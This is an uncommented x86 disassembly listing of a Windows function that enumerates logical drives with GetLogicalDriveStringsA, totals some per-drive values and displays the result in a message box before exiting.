call fcn.00428728
mov edx, dword [esp + 0x6dc]
sub edx, dword [esp + 0x6d4]
push edx
push dword [esp + 0x6d8]
lea ecx, [esp + 0x6e4]
call fcn.00428728
lea edx, [esp + 0x970]
push edx
push dword [esp + 0x5f4]
push dword [esp + 0x5f4]
call fcn.00426f60
lea ecx, [esp + 0x5f8]
call fcn.004280e0
lea edx, [esp + 0x986]
push edx
push dword [esp + 0x5c8]
push dword [esp + 0x5c8]
call fcn.00426f60
lea ecx, [esp + 0x5cc]
call fcn.004280e0
mov edx, dword [esp + 0x5f4]
sub edx, dword [esp + 0x5ec]
push edx
push dword [esp + 0x5f0]
lea ecx, [esp + 0x5fc]
call fcn.00428728
lea edx, [esp + 0x993]
push edx
push dword [esp + 0x624]
push dword [esp + 0x624]
call fcn.00425820
lea ecx, [esp + 0x628]
call fcn.00426984
lea edx, [esp + 0x9a0]
push edx
push dword [esp + 0x680]
push dword [esp + 0x680]
call fcn.00425820
lea ecx, [esp + 0x684]
call fcn.00426984
add esp, 0x30
cmp dword [esp + 0x8f4], 1
je 0x424f95
push 0
call fcn.00459bfc
add esp, 4
mov esi, 0x476ddc
lea edi, [esp + 0x60]
mov ecx, 0x16
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x472152
lea eax, [esp + 0x78]
push eax
call fcn.0045a4e0
push 5
push 0x472192
lea edx, [esp + 0xc4]
push edx
call fcn.0045a4e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea ecx, [esp + 0x708]
mov dword [esp + 0x910], eax
call fcn.0042e8f8
push 0
push dword [esp + 0x914]
lea ecx, [esp + 0x710]
call fcn.00428a88
push dword [esp + 0x708]
push dword [esp + 0x914]
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
add esp, 0x18
mov esi, dword [esp + 0x6f0]
xor ebx, ebx
cmp byte [esi], bl
je 0x42508d
lea eax, [esp + 0x60]
push eax
lea edx, [esp + 0xe22]
push edx
mov edi, dword [esp + 0x6f8]
add edi, ebx
push edi
lea ecx, [esp + 0x740]
call fcn.0042e9a0
push eax
call fcn.00422318
mov esi, dword [esp + 0x744]
sub esi, dword [esp + 0x73c]
push esi
push dword [esp + 0x740]
lea ecx, [esp + 0x74c]
call fcn.00428728
mov eax, dword [esp + 0x6f8]
add eax, ebx
push eax
call fcn.0045a18c
inc eax
add esp, 0xc
add ebx, eax
mov edx, dword [esp + 0x6f0]
cmp byte [edx + ebx], 0
jne 0x425020
push 1
mov ebx, dword [0x476e34]
or ebx, dword [0x476e38]
push ebx
lea ecx, [esp + 0x770]
call fcn.0042d37c
push 0x4773ac
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0x64]
neg edx
neg eax
sbb edx, 0
push edx
push eax
lea esi, [esp + 0x784]
push esi
call fcn.00428b1c
add esp, 0xc
mov ecx, eax
mov dword [esp + 0x8f4], eax
call fcn.0042c244
push 0x4773c0
mov edx, dword [esp + 0x70]
mov eax, dword [esp + 0x6c]
neg edx
neg eax
sbb edx, 0
push edx
push eax
push dword [esp + 0x8fc]
call fcn.00428b1c
add esp, 0xc
mov ecx, eax
call fcn.0042c244
push 0
push 0x4773d4
lea ecx, [esp + 0x788]
call fcn.0042d2f8
lea ebx, [esp + 0x7e0]
push ebx
lea ecx, [esp + 0x8d8]
call fcn.0042ea28
mov eax, dword [eax]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [esp + 0x8d4]
sub edx, dword [esp + 0x8cc]
push edx
push dword [esp + 0x8d0]
lea ecx, [esp + 0x8dc]
call fcn.00428728
lea ecx, [esp + 0x768]
call fcn.00428c3c
mov ebx, dword [esp + 0x6f8]
sub ebx, dword [esp + 0x6f0]
push ebx
push dword [esp + 0x6f4]
lea ecx, [esp + 0x700]
call fcn.00428728
push 0
call fcn.00459bfc
add esp, 4
pop edi
xor eax, eax
pop esi
pop ebx
add esp, 0xe18
ret